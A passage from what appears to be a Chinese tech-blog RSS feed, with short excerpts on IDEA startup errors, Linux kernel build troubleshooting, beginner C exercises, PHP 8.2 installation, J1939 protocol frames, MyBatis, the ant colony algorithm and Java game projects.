      <description>idea 运行启动类报错 Command line is too long 启动报错信息：Error running ‘Application‘: Command line is too long.&#xA;翻译过来就是：启动命令过长！&#xA;解决方案&#xA;1、点开项目启动配置项目；&#xA;2、shorten command line 选项选择 JAR manifest 或者 classpath file 选项，点击 Apply 和 OK，然后重启项目；&#xA;idea 运行测试类报错 Error running test: Command line is too long&#xA;上面是运行启动类报错的解决方案，运行测试类也可能会出现这种情况；&#xA;解决方案&#xA;1、项目右键打开本地文件夹；&#xA;2、打开*.idea* 文件夹下的 workspace.xml 文件，在&amp;lt;component name=&#34;PropertiesComponent&#34;&amp;gt; 这个标签下加一行配置：&amp;lt;property name=&#34;dynamic.classpath&#34; value=&#34;true&#34; /&amp;gt;&#xA;整理自：&#xA;https://blog.csdn.net/nbxinjian/article/details/124149401&#xA;https://blog.csdn.net/weixin_45886609/article/details/126394026</description>
    </item>
    <item>
      <title>关于解决Linux内核配置过程make bzImage中出现的问题 --个人笔记</title>
      <link>https://bchobby.github.io/posts/d586eb703da4a652ad2fe775b9ca7473/</link>
      <pubDate>Sun, 04 Dec 2022 13:15:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d586eb703da4a652ad2fe775b9ca7473/</guid>
      <description>最近在学习制作U盘Linux系统，结果在途中遇到一些问题&#xA;以下为制作教程：&#xA;(31条消息) 从0开始构建自己的U盘Linux（一）_Edeeen1的博客-CSDN博客&#xA;此教程已经比较详细了，但一些细节没有提及，在此将个人遇到的问题记录下来，以供参考。&#xA;当执行命令 make bzImage命令时出现如图一情况&#xA;因此可以知晓是因为没有安装包mipsel-linux-uclibc-gcc的问题，而命令也自动帮助安装，但最终出现无法定位安装包位置的情况，再次尝试后无果&#xA;“srcipts/extract-cert.c:21:10:fatal error:openssl/bio.h:没有哪个文件或目录”&#xA;查询文章如下：https://www.cnblogs.com/hjxzip/p/14702329.html&#xA;（在写这篇笔记时又发现一个问题，虚拟机火狐浏览器可以访问这链接，主机微软无法访问，显示被删除，原因未知，如有了解情况的小伙伴可以告知一下）&#xA;看这链接文章后，得知报错可能时因为没有安装libssl-dev&#xA;因此尝试sudo apt-get install libssl-dev，出现图二所示&#xA;显示“无法获得锁”，“无法获得dpkg前端锁”，搜索资料，https://blog.csdn.net/weixin_37769711/article/details/88759474&#xA;查询之后得知，出现的原因是在之前下载未完成时久将窗口关闭，然而apt-get进程没没有结束导致，或者是搜索一个不存在的安装包，apt进程返回结果后你很快地再次使用apt命令，就造成进程阻塞现象。&#xA;使用ps aux命令查看&#xA;ps aux //可以查看系统中所有的进程 ps -le // 可以查看系统中所有的进程，而且还能看到进程的父进程的 PID 和进程优先级 ps -l // 只能看到当前 Shell 产生的进程； “grep”（全面搜索正则表达式并把行打印出来，配合使用查找锁定的apt-get进程的PID&#xA;输入ps aux | grep “apt-get”&#xA;等到终端返回apt-get的PID后，再使用sudo kill xxx就可以了。比如返回的PID是 1001 ,那你就sudo kill 1001.&#xA;然后，执行后效果不理想，如图三，无法找到进程。&#xA;于是，尝试方法二：强制解锁&#xA;直接输入以下两行命令，把进程锁的缓存文件删除，也可以达到同样效果。&#xA;sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock 执行过后成功解决进程锁问题&#xA;然而在make bzImage时仍然有报错&#xA;看到一篇博客终于稍微明白一点，https://www.cnblogs.com/gongzi-blog/p/14206685.html，&#xA;在编译x86内核之前需要提前安装一些包，因为在过程中回用到，如果没有则会出现错误，&#xA;包如下&#xA;#apt-get install make #apt-get install gcc #apt-get install flex #apt-get install bison #apt-get install libcurses-dev #apt-get install libssl-dev #apt-get install libelf-dev 在将上述进行安装时，发现libelf-dev和libcurses-dev的安装出现问题，“无法定位软件位置”</description>
    </item>
    <item>
      <title>通过fopen、fscanf函数实现账户登录</title>
      <link>https://bchobby.github.io/posts/b7c032d727480da964d442734cc9c11d/</link>
      <pubDate>Sun, 04 Dec 2022 13:12:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7c032d727480da964d442734cc9c11d/</guid>
      <description>实现过程：&#xA;//写一个usr.txt文档，文档中每一行的格式为：姓名 密码 例如： //hangsan 123456 //lisi abcdef //任务： //要求从终端输入账户，密码; //与文件中的账户密码比较 //如果账户不存在，则输出用户不存在 //如果账户存在，密码错误，则输出密码错误 //如果账户密码均正确，输出登录成功 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; int main(int argc, const char *argv[]) {&#x9;//打开一个仅读文件 FILE *p=fopen(&#34;./usr.txt&#34;,&#34;r&#34;); if(p==NULL) { printf(&#34;打开失败\n&#34;); return -1; } printf(&#34;打开usr.txt文件成功\n&#34;); //定义两个数组存储终端输入的账户密码 char get_name[20]={},get_password[20]={}; //定义两个数组存储文件读取的账户密码 char file_name[20]={},file_password[20]={}; //定义两个标记符输入的账户密码的存在与否，为0不存在，为1存在 int flag_name=0,flag_password=0; printf(&#34;请输入账户&amp;gt;&amp;gt;&amp;gt;&#34;); scanf(&#34;%s&#34;,get_name); //循环判断文件中是否有该账户存在 while(1) { if(fscanf(p,&#34;%s %s&#34;,file_name,file_password)==EOF) { flag_name=0; break; } if(strcmp(file_name,get_name)==0) { flag_name=1; break; } } //判断账户标记符 if(flag_name==0) { printf(&#34;用户不存在\n&#34;); } else { printf(&#34;请输入密码&amp;gt;&amp;gt;&amp;gt;&#34;); scanf(&#34;%s&#34;,get_password); //循环判断密码是否正确 while(1) { //判断是否遍历完文件中的数据 if(fscanf(p,&#34;</description>
    </item>
    <item>
      <title>如何在 Debian 和 Ubuntu 系统上安装/升级 PHP 8.2</title>
      <link>https://bchobby.github.io/posts/a8bcc650c2e4edd4b26e07dfe38c11c2/</link>
      <pubDate>Sun, 04 Dec 2022 12:35:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8bcc650c2e4edd4b26e07dfe38c11c2/</guid>
      <description>PHP 8.2带来了主要的新特性，例如只读类、新random扩展、敏感参数编辑以及语言精简更改，包括弃用动态属性和与字符串插值相关的弃用。&#xA;注意：PHP 8.2 尚未达到 GA 版本，但&#xA;PHP 8.2 计划于 11 月 24 日发布。当发布第一个稳定的 PHP 8.2 版本时，将删除此通知。在此之前，指南的其余部分将安装最新的 PHP 8.2 候选版本。对于生产服务器，建议等到 GA 发布。&#xA;目前，Debian 或 Ubuntu 的默认软件存储库中未提供 PHP 8.2 软件包，但 PHP 8.2 软件包可从Ondřej Surý维护的存储库中获得。Ondrej 的存储库是主要的和最新的存储库，为基于 Debian 和 Ubuntu 的操作系统提供 PHP 包和 PECL 扩展，并用于所有 PHP.Watch 在这些系统上安装 PHP 的指南。&#xA;PHP 8.2 中的新功能和更改&#xA;PHP 8.2 带来了一个健康的安全和性能新功能列表，以及一些可能会在现有遗留系统上发出额外警告的弃用，因为它弃用了动态属性，以及一些其他弃用。&#xA;有关 PHP 8.2 中新功能和更改内容的完整列表，请参阅PHP 8.2：新功能和更改内容&#xA;值得注意的扩展和 INI 更改&#xA;PHP 8.2 不包含任何会影响安装或升级过程的显着变化。PHP 8.2 实际上添加了一个名为 的新扩展random，但是这个扩展始终是一个捆绑扩展，没有它就无法编译 PHP。&#xA;PHP 的 INI 设置和文件的一个显着变化是 PHP 8.</description>
    </item>
    <item>
      <title>【C语言】在数组中查找指定元素。</title>
      <link>https://bchobby.github.io/posts/9e6c7c675d8f3372c3254ecfdec3c697/</link>
      <pubDate>Sun, 04 Dec 2022 11:55:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e6c7c675d8f3372c3254ecfdec3c697/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #define N 81 int search(int list[],int n,int x); int main() { int n; int a[N]; int i,j; int x,t; printf(&#34;Input n:&#34;);scanf(&#34;%d&#34;,&amp;amp;n); printf(&#34;Input %d integers:&#34;,n); for(i=0;i&amp;lt;n;i++) { scanf(&#34;%d&#34;,&amp;amp;a[i]); } printf(&#34;Input x:&#34;);scanf(&#34;%d&#34;,&amp;amp;x)； t=search(a,n,x); if(t==-1) { printf(&#34;Not Found&#34;); } else { printf(&#34;index=%d&#34;,t); } return 0; } int search(int list[],int n,int x) { int i,j; int count=-1; for(i=0;i&amp;lt;n;i++) { if(list[i]==x) { count=i; break; } } if(count==-1) { return -1; } else { return count; } } 问题描述】5.</description>
    </item>
    <item>
      <title>【C语言】判断是否为上三角矩阵</title>
      <link>https://bchobby.github.io/posts/fadf7b22b95a9b0e1088d8091d127778/</link>
      <pubDate>Sat, 03 Dec 2022 21:06:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fadf7b22b95a9b0e1088d8091d127778/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #define N 81 int main() { int n; int a[N][N]; int i,j; int t=1; printf(&#34;Input n:&#34;); scanf(&#34;%d&#34;,&amp;amp;n); printf(&#34;Input array:\n&#34;); for(i=0;i&amp;lt;n;i++) { for(j=0;j&amp;lt;n;j++) { scanf(&#34;%d&#34;,&amp;amp;a[i][j]); } } for(i=0;i&amp;lt;n;i++) { for(j=0;j&amp;lt;i;j++) { if(a[i][j]!=0) { t=0;//如果不是0，可以直接确定主对角线以下不是0，直接退出循环 break; } } } if(t==0) { printf(&#34;NO&#34;); } else if(t==1) { printf(&#34;YES&#34;); } return 0; } 【问题描述】4.9 判断是否为上三角矩阵。&#xA;输入一个正整数n(1&amp;lt;n=&amp;lt;6)和n阶矩阵a中的元素，如果a是上三角矩阵，输出YES；否则，输出NO。&#xA;(上三角矩阵,即主对角线以下的元素都为0，主对角线为从矩阵的左上角至右下角的连线)｡&#xA;【输入形式】&#xA;从键盘输入一个正整数n和矩阵阵列。&#xA;【输入输出样例1】&#xA;Input n:3&#xA;Input array:（输出后换行）&#xA;1 2 3&#xA;0 4 5&#xA;0 0 6</description>
    </item>
    <item>
      <title>【C语言】整数出现次数</title>
      <link>https://bchobby.github.io/posts/4272e480676b47df54a6e46d6139d35e/</link>
      <pubDate>Sat, 03 Dec 2022 21:05:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4272e480676b47df54a6e46d6139d35e/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #define N 81 int main() { int a[N],a1[N],b[N],c[N],d[N]; int i,j,k; int count; int n; int max; int temp; scanf(&#34;%d&#34;,&amp;amp;n); for(i=0;i&amp;lt;n;i++) { scanf(&#34;%d&#34;,&amp;amp;a[i]); } for(i=0;i&amp;lt;n;i++) { a1[i]=a[i]; }/*笔者担心后序会需要数组a，所以提前后面将a数组赋值于另一个数组，尽管有点多此一举*/ for(i=0;i&amp;lt;n;i++) { count=1; for(j=i+1;j&amp;lt;n;j++) { if(a1[i]==a1[j]) { count++; for(k=j;k&amp;lt;n-1;k++) { a1[k]=a1[k+1]; } n--; } else { continue; } } b[i]=count; }/*将次数存在另一个数组，同时删去相同的数，便于次数与数一一对应，且便于升序处理*/ max=b[0]; for(i=1;i&amp;lt;n;i++) { if(b[i]&amp;gt;max) { max=b[i]; } }/*找出一个最大数*/ k=0; for(i=0;i&amp;lt;n;i++) { if(max==b[i]) { c[k]=b[i]; d[k]=a1[i]; k++; }/*防止出现多个最大数，将不同的数存在另一个数组*/ } /*for(i=0;i&amp;lt;k;i++) { printf(&#34;</description>
    </item>
    <item>
      <title>【C语言】打印菱形。</title>
      <link>https://bchobby.github.io/posts/d01dd7b991f8dba3a6e448e1e054d099/</link>
      <pubDate>Sat, 03 Dec 2022 21:04:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d01dd7b991f8dba3a6e448e1e054d099/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; int main() { int i,j,n; scanf(&#34;%d&#34;,&amp;amp;n); for(i=1;i&amp;lt;n;i++) { for(j=1;j&amp;lt;=n-i;j++) printf(&#34;%c&#34;,&#39; &#39;); for(j=1;j&amp;lt;=2*i-1;j++) printf(&#34;%c&#34;,&#39;*&#39;); printf(&#34;\n&#34;); } for(i=1;i&amp;lt;=n;i++) { for(j=1;j&amp;lt;=i-1;j++) printf(&#34;%c&#34;,&#39; &#39;); for(j=1;j&amp;lt;=2*n-(2*i-1);j++) printf(&#34;%c&#34;,&#39;*&#39;); printf(&#34;\n&#34;); } return 0; } 【问题描述】3.2.15 打印图形。&#xA;【样例输入】4&#xA;【样例输出】输出结束有换行符。</description>
    </item>
    <item>
      <title>J1939-21数据链路层多帧协议PDU解析</title>
      <link>https://bchobby.github.io/posts/6a376a9eefe8b0609768ccee7465bb32/</link>
      <pubDate>Sat, 03 Dec 2022 20:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a376a9eefe8b0609768ccee7465bb32/</guid>
      <description>一、协议数据单元（PDU） P 是优先级，R 是保留位，DP 是数据页，PF 是PDU 格式，PS 是特定PDU，SA 是源地址&#xA;优先级（P）：这三位仅在总线传输中用来优化消息延迟，接收机必须对其做全局屏蔽（即忽略）。消息优先级可从最高0（000）设置到最低7（111），当消息被添加到应用层，将给出一个推荐的优先级。OEM 可以对网络做相应调整。PDU 格式（PF）：确定PDU 的格式，也是确定数据域对应参数组编号的域之一。特定PDU（PS）：它的定义取决于PDU 格式，根据PDU 格式它可能是目标地址或者组扩展。 若PDU 格式（PF）域的值小于240，特定PDU 域是目标地址。若PF 域的值在240 和255 之间，特定PDU 包含组扩展（GE）值，所以可用参数组的总数目：（240 +（16*256））*2 = 8672。源地址（SA）：网络中一个特定源地址只能匹配一个设备。因此，源地址域确保CAN 标识符符合CAN 协议中的唯一性要求。地址管理和分配在SAE J1939-81中有详细介绍。 二、首帧PDU格式 首帧报文ID定义 参数组名称：&#xA;传输协议——连接管理（TP.CM）&#xA;定义：&#xA;用于 9 字节及以上的数据的参数组的传输&#xA;重复传输速度：&#xA;由传送的参数组编号决定&#xA;数据长度：&#xA;8 个字节&#xA;数据页位（DP）：&#xA;0&#xA;PDU 格式（PF）：&#xA;236&#xA;特定 PDU（PS）：&#xA;目标地址（FF代表广播，如：18ECFFxx）&#xA;默认优先级：&#xA;7&#xA;参数组编号（PGN）：&#xA;60416（00EC0016）&#xA;本参数组功能所使用的参数范围 控制字节：&#xA;0-15,18,20-31,33-254 保留给 SAE 分配（最常用的是广播形式Byte1=0x20）&#xA;整个消息大小的字节数：&#xA;9 到 1785（2 字节），0 到 8 和 1786 到 65535 禁用</description>
    </item>
    <item>
      <title>MyBatis的各种查询功能4(查询多条数据为map集合)</title>
      <link>https://bchobby.github.io/posts/0c6f977daa852534d8a99b75f8c422d7/</link>
      <pubDate>Sat, 03 Dec 2022 20:03:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c6f977daa852534d8a99b75f8c422d7/</guid>
      <description>查询多条数据为map集合 方式1（用的较多） 将表中的数据以map集合的方式查询，一条数据对应一个map；若有多条数据，就会产生多个map集合，此时可以将这些map放在一个list集合中获取 方式2 将表中的数据以map集合的方式查询，一条数据对应一个map；若有多条数据，就会产生多个map集合，并且最终要以一个map的方式返回数据，此时需要通过@MapKey注解设置map集合的键，可以将查询的某个字段的值作为map的键，值是每条数据所对应的map集合 SelectMapper 接口 public interface SelectMapper { /** * 查询所有的用户信息为map集合 * @return */ //List&amp;lt;Map&amp;lt;String,Object&amp;gt;&amp;gt; getAllUserToMap(); @MapKey(&#34;id&#34;) Map&amp;lt;String,Object&amp;gt; getAllUserToMap(); } MyBatis的映射文件 SelectMapper.xml &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!DOCTYPE mapper PUBLIC &#34;-//mybatis.org//DTD Mapper 3.0//EN&#34; &#34;https://mybatis.org/dtd/mybatis-3-mapper.dtd&#34;&amp;gt; &amp;lt;mapper namespace=&#34;com.atguigu.mybatis.mapper.SelectMapper&#34;&amp;gt; &amp;lt;!--Map&amp;lt;String,Object&amp;gt; getAllUserToMap();--&amp;gt; &amp;lt;select id=&#34;getAllUserToMap&#34; resultType=&#34;map&#34;&amp;gt; select * from t_user &amp;lt;/select&amp;gt; &amp;lt;/mapper&amp;gt; 测试 public class SelectMapperTest { @Test public void testGetAllUserToMap(){ SqlSession sqlSession = SqlSessionUtil.getSqlSession(); SelectMapper mapper = sqlSession.getMapper(SelectMapper.class); // List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; list = mapper.</description>
    </item>
    <item>
      <title>【C语言】交换最大、最小值。输入一个正整数n(1＜n≤10)，再输入n个整数（＜=999），将最小值与第一个数交换，最大值与最后一个数交换，然后输出交换后的n个数｡</title>
      <link>https://bchobby.github.io/posts/e454e3381bc85630e345f6c710020a26/</link>
      <pubDate>Sat, 03 Dec 2022 19:28:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e454e3381bc85630e345f6c710020a26/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #define N 1000 int main() { int n,i,a[N],count1=0,count2=0,t,min,max; printf(&#34;Input n:&#34;); scanf(&#34;%d&#34;,&amp;amp;n); printf(&#34;Input %d integers:&#34;,n); for(i=0;i&amp;lt;n;i++) { scanf(&#34;%d&#34;,&amp;amp;a[i]); } min=a[0]; for(i=0;i&amp;lt;n;i++) { if(min&amp;gt;a[i]) min=a[i]; } for(i=0;i&amp;lt;n;i++) { if(a[i]==min) break; count1++; } t=a[0]; a[0]=min; a[count1]=t; max=a[0]; for(i=0;i&amp;lt;n;i++) { if(max&amp;lt;a[i]) max=a[i]; } for(i=0;i&amp;lt;n;i++) { if(a[i]==max) break; count2++; } t=a[n-1]; a[n-1]=max; a[count2]=t; printf(&#34;After swapped:&#34;); for(i=0;i&amp;lt;n;i++) { printf(&#34;%4d&#34;,a[i]); } return 0; } 【问题描述】4.4 交换最大、最小值。输入一个正整数n(1&amp;lt;n≤10)，再输入n个整数（&amp;lt;=999），将最小值与第一个数交换，最大值与最后一个数交换，然后输出交换后的n个数｡ 【输入输出样例】&#xA;【样例说明】&#xA;输入提示符后冒号为英文字符，后面没有空格。&#xA;输出整数序列时按照%4d格式输出。</description>
    </item>
    <item>
      <title>VMware Fusion 13虚拟机如何安装win 11系统？mac运行win</title>
      <link>https://bchobby.github.io/posts/4278cd07b29fd67b3d12e543b1a9a38e/</link>
      <pubDate>Sat, 03 Dec 2022 17:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4278cd07b29fd67b3d12e543b1a9a38e/</guid>
      <description>VM虚拟机如何安装win 11系统？还不知道如何在VMware Fusion 13虚拟机中安装win 11的朋友来看看吧。&#xA;1、运行 VMware Fusion 13 虚拟机，在「新建虚拟机」界面上，拖拽下载的Win11 ARM 系统镜像&#xA;2、VMware会自动识别镜像，下一步窗口中选择「Windows 11 64位 ARM」&#xA;3、固件类型默认UEFI即可，点继续&#xA;4、选择加密窗口中，选择Partial Encryption，设置好密码，勾选Remember Password and store it in Mac’s KeychAIn，然后点继续；&#xA;5、出现「Press any key to boot from CD or DVD」字样时，需要快速按下任意键，如果错过了，需要重启虚拟机再试；&#xA;6、进入到Windows安装界面，大部分默认即可&#xA;7、安装类型选择第二个Custom「自定义：仅安装Windows」，密钥窗口点击「我没有密钥」文字，然后耐心等待安装完成即可。&#xA;下载VMware Fusion Pro for mac(vm虚拟机)</description>
    </item>
    <item>
      <title>WHIOS协议规范如下（原文引用）</title>
      <link>https://bchobby.github.io/posts/49ca977235c635f39eb6517849b50af4/</link>
      <pubDate>Sat, 03 Dec 2022 12:01:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49ca977235c635f39eb6517849b50af4/</guid>
      <description>本文介绍的是一种查询域名所有权信息的方法。对于称为 WHOIS的IRC命令，请参阅Internet 中继聊天命令列表 § WHOIS。&#xA;WHOIS（发音为短语“who is”）是一种查询和响应协议，广泛用于查询存储注册用户或互联网资源受让人的数据库，例如域名、IP 地址块或自治系统, 但也用于更广泛的其他信息。该协议以人类可读的格式存储和传送数据库内容。[1] WHOIS 协议的当前版本由互联网协会起草，并记录在RFC 3912中。 Whois 也是大多数UNIX系统上用于进行 WHOIS 协议查询的命令行实用程序的名称。[2]此外，WHOIS 有一个名为Referral Whois ( RWhois ) 的姊妹协议。&#xA;内容&#xA;1个 历史&#xA;1.1 CRISP 和 IRIS&#xA;1.2 怪异和 RDAP&#xA;2个 协议&#xA;2.1 强化&#xA;3个 执行&#xA;3.1 精简查找和详细查找&#xA;3.2 软件&#xA;3.3 网络&#xA;4个 服务器&#xA;4.1 区域互联网注册机构&#xA;4.2 服务器发现&#xA;5个 查询示例&#xA;6个 推荐域名&#xA;7 批评&#xA;8个 信息的准确性&#xA;9 法律与政策&#xA;10 ICANN 提议废除 WHOIS&#xA;11 标准文件&#xA;12 也可以看看&#xA;13 参考</description>
    </item>
    <item>
      <title>蚁群算法(ant system,AS)</title>
      <link>https://bchobby.github.io/posts/e8fb3f2f7b7e1dde7c8e3562bac880b3/</link>
      <pubDate>Sat, 03 Dec 2022 11:18:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8fb3f2f7b7e1dde7c8e3562bac880b3/</guid>
      <description>蚁群算法 蚂蚁系统(ant system,AS)由Dorigo于1996年发表，文章题目为[《The Ant System : optimization by a colony of cooperating agents》](https://www.docin.com/p-1565494487.html)。在耳熟能详的TSP旅行商问题上AS算法有着不错的效果，这也是被大多数人认可的一种随机演化算法。 蚁群算法的思想来源于蚂蚁觅食的过程:&#xA;单个蚂蚁的行为比较简单但蚁群在不同的环境下，能寻找到达食物源的最短路径蚂蚁在其经过的路径上释放“信息素”蚁群内的蚂蚁会沿着“信息素”浓度较高的路径行走，形成正反馈人工蚂蚁可以超越真实蚂蚁，如具有有限记忆存储能力 一般而言机器智慧都是产生于多个个体之间的“交流”，如当下比较火的深度学习，层与层之间链接方式是尤为关键的，后续的传播方向就是由这些链接来决定的，又比如传统的群体智能优化算法PSO，一个种群之中个体和最优个体之间有一种交流，就是个体向最优个体学习，而蚁群算法中的个体交流像是人类阅读图书跟前人交流，蚂蚁通过“阅读”前人留下的“信息素”来更好的判断下一步要怎么走，人类社会中也有老话：不听老人言吃亏在眼前，所以蚂蚁跟着“信息素”走能够极大地保证单只蚂蚁的行为是普遍正确的。&#xA;如果蚁群中只有一只蚂蚁，这显然是不行的，单只蚂蚁的智慧能力比较局限，它只能和上一个自己进行“交流”并且效率十分低，所以一般认为单只蚂蚁是很难产生智慧的。一个蚁群就像是一个人类社会，无论在长江黄河流域还是在黄土高原地区，当地的人们总能找到一种适合自己生存的方式，而蚂蚁觅食也是如此，在一定时间的演化下，蚂蚁的“信息素”就如同人类社会的书籍一般宝贵。另外，人工蚂蚁相较于真实的蚂蚁具有很多优势，例如，只要计算机的内存足够大，那么蚂蚁的记忆是无限的，对于真实的生物来说，这显然是不能达到的，毕竟总要遗忘。&#xA;蚁群算法的过程：&#xA;初始化：城市数n、距离矩阵d、蚂蚁数量、沉积常数、挥发率、每条边的初始信息素。while 条件不满足构建每个蚂蚁的路径(随机比例+轮盘赌)计算每个蚂蚁的路劲总长度更新每条边的信息素(全局信息素更新：沉积+挥发)end&#xA;构建蚂蚁路径：第k只蚂蚁，已访问城市集合 C k C_{k} Ck​对每一个未访问的城市j，计算随机比例： p i j ( k ) = τ i j α / d i j β ∑ m ∉ C k τ i m α / d i m β p^{(k)}_{ij}=\frac{τ^{α}_{ij}/d^{β}_{ij}}{\sum_{m\notin{C_{k}}}τ^{α}_{im}/d^{β}_{im}} pij(k)​=∑m∈/​Ck​​τimα​/dimβ​τijα​/dijβ​​让蚂蚁k以上述随机比例(轮盘赌)到达城市j&#xA;信息素更新所有蚂蚁的路径构建完毕后，进行信息素的更新&#xA;τ i j = ( 1 − ρ ) τ i j + ∑ k = 1 N Δ τ i j ( k ) τ_{ij}=(1-ρ)τ_{ij}+\sum^{N}_{k=1}{\Delta \tau^{(k)}_{ij}} τij​=(1−ρ)τij​+k=1∑N​Δτij(k)​</description>
    </item>
    <item>
      <title>【数据库与事务系列】多数据源切换</title>
      <link>https://bchobby.github.io/posts/7482c1f128e05de689b80d2f7bd68de4/</link>
      <pubDate>Sat, 03 Dec 2022 00:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7482c1f128e05de689b80d2f7bd68de4/</guid>
      <description>分库分表 不光是管理多个数据源，是对sql的优化、改写、归并等一系列操作的解决方案。关注的是sql语句。以shardingSphere为例，虽然也支持跟sql无关的hint策略提供路由功能，但是在sql改写以及归并过程中，依旧对sql有限制。&#xA;多数据源切换 如果只是简单的切换多个数据源，而对sql的逻辑没有任何限制，就不要选择分库分表了。直接选用多数据源切换多方案更简单。spring-jdbc模块提供了AbstractRoutingDataSource抽象类，其内部可以包含多个DataSource，只需要实现其抽象方法，在运行时就可以动态访问指定的数据库。但是需要自己实现一些aop的切换能力，这个mybaitis-plus都帮我们做好了。&#xA;业界主要有两种实现方案：&#xA;AOP + ThreadLocal ，如：Mybatis-plus的多数据源(dynamic-datasource)；语义解析，如：客户端侧：ShardingSphere-Jdbc，服务端侧：ShardingSphere-Proxy，阿里云、腾讯云proxy。 一、动态数据源切换 （AbstractRoutingDataSource实现） 我们来查看AbstractRoutingDataSource源码，来更好的理解多数据源配置。&#xA;首先查看该类的属性，根据名称我们能看出他们的作用。&#xA;private Map&amp;lt;Object, Object&amp;gt; targetDataSources; private Object defaultTargetDataSource; private boolean lenientFallback = true; private DataSourceLookup dataSourceLookup = new JndiDataSourceLookup(); private Map&amp;lt;Object, DataSource&amp;gt; resolvedDataSources; private DataSource resolvedDefaultDataSource; targetDataSources是目标数据源集合defaultTargetDataSource是默认数据源resolvedDataSources是解析后的数据源集合resolvedDefaultDataSource是解析后的默认数据源 对数据源赋值的代码如下：&#xA;public void setTargetDataSources(Map&amp;lt;Object, Object&amp;gt; targetDataSources) { this.targetDataSources = targetDataSources; } public void setDefaultTargetDataSource(Object defaultTargetDataSource) { this.defaultTargetDataSource = defaultTargetDataSource; } 因为方法是set开头，我们便能把这两个方法配置在spring中，继续向下看。&#xA;public void afterPropertiesSet() { if (this.targetDataSources == null) { throw new IllegalArgumentException(&#34;</description>
    </item>
    <item>
      <title>（附源码课件）10款Java小游戏满足你各种需求</title>
      <link>https://bchobby.github.io/posts/95201b5f648cd13cdabf149a094fabf1/</link>
      <pubDate>Fri, 02 Dec 2022 20:15:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95201b5f648cd13cdabf149a094fabf1/</guid>
      <description>游戏推荐&#xA;黄金矿工项目&#xA;飞机大战项目&#xA;超级玛丽项目&#xA;坦克大战项目&#xA;大鱼吃小鱼项目&#xA;飞翔的小鸟项目&#xA;扫雷项目&#xA;贪吃蛇项目&#xA;推箱子项目&#xA;本套视频课程包含：&#xA;1、王者荣耀项目&#xA;开发环境：jdk1.8 开发工具:eclipse&#xA;JavaEE基础如下：变量、数据类型、判断语句、循环结构、数组、集合、随机数生成、简单窗口创建、图形图片绘制、双缓存技术、键盘事件、鼠标事件、物体的碰撞检测、三角函数、多边形绘制与移动。&#xA;2、飞机大战项目&#xA;Java技术：java变量、java数据类型、判断语句、循环结构、数组、Java集合、简单窗口创建、图形图片绘制、双缓存技术、事件-鼠标和键盘事件、物体的碰撞检测。&#xA;3、坦克大战项目&#xA;JavaEE基础如下：变量、数据类型、判断语句、循环结构、数组、集合、随机数生成、简单窗口创建、图形图片绘制、双缓存技术、键盘事件、物体的碰撞检测。&#xA;4、俄罗斯方块项目&#xA;开发环境: JDK1.8 开发工具: IDEA 涉及知识：Java变量、java数据类型、判断语句、循环结构、Java集合、简单窗口创建、图形图片绘制、双缓存技术、鼠标事件、物体的堆叠检测。&#xA;5、推箱子项目&#xA;Javaee基础如下：变量、数据类型、判断语句、循环结构、二维数组、集合、简单窗口创建、图形图片绘制、双缓存技术、事件-键盘事件、物体的碰撞检测。&#xA;6、飞翔的小鸟项目&#xA;开发环境：jdk1.8 开发工具：IDEA&#xA;javaee基础如下：变量、数据类型、判断语句、循环结构、数组、集合、简单窗口创建、图形图片绘制、双缓存技术、事件-键盘事件、物体的碰撞检测、File&#xA;7、超级玛丽项目&#xA;Javase基础如下：变量、数据类型、容器、判断语句、循环结构、简单窗口创建、事件-键盘事件、JavaIO、Player类的使用、多线程、JOptionPane类的使用。&#xA;8、王者荣耀项目&#xA;JavaEE基础如下：变量、数据类型、判断语句、循环结构、类的继承、简单窗口创建、图形图片绘制、双缓存技术、鼠标事件、键盘事件。&#xA;9、扫雷项目&#xA;开发环境：jdk1.8 开发工具:IDEA&#xA;JavaEE基础如下：变量、数据类型、判断语句、循环结构、数组、二维数组、递归、简单窗口创建、图形图片绘制、双缓存技术、鼠标事件&#xA;10、贪吃蛇项目&#xA;开发环境: jdk1.8&#xA;开发工具:IDEA&#xA;涉及知识：变量、数据类型、判断语句、循环结构、集合、简单窗口创建、图形图片&#xA;以上为本次Java游戏项目的分享，满足同学们的多种选择！希望大家可以在原本的课件基础上可以发挥自己的创作能力，制作出属于自己的游戏！！！&#xA;以上项目已经整理好了，需要的可以下方GZH拿 希望可以帮助到大家！</description>
    </item>
    <item>
      <title>基于java GUI实现的一个日历记事本小项目</title>
      <link>https://bchobby.github.io/posts/209e604b2bb13dc4c03e9cfc360d1853/</link>
      <pubDate>Fri, 02 Dec 2022 18:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/209e604b2bb13dc4c03e9cfc360d1853/</guid>
